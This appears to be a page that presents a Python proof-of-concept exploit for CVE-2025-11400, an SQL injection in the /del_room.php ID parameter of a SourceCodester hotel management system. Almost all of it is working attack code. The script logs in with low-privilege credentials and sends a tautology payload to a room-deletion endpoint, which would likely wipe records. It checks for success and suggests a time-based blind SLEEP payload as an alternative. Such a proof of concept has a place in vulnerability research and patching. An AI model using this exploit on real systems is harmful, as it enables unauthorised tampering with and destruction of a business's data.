CVE-2025-11400：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11400 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerable file: /del_room.php # Vulnerable parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" DEL_ROOM_URL = f"{TARGET_URL}/del_room.php" USERNAME = "test_user" PASSWORD = "test_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain a valid session (low privilege required) login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL injection via the ID parameter # The ID parameter is directly concatenated into SQL query without sanitization sql_payload = "1' OR '1'='1' -- " params = { "ID": sql_payload } # Step 3: Send the malicious request response = session.get(DEL_ROOM_URL, params=params) # Step 4: Analyze the response for data extraction or error-based injection if response.status_code == 200: print("[+] SQL Injection successful!") print(f"[+] Response length: {len(response.text)}") # Check for database error messages or extracted data if "error" in response.text.lower() or "sql" in response.text.lower(): print("[+] Database error detected - injection confirmed") else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: Time-based blind SQL injection payload # sql_payload = "1' AND SLEEP(5) -- " # Use this payload if the application does not return data directly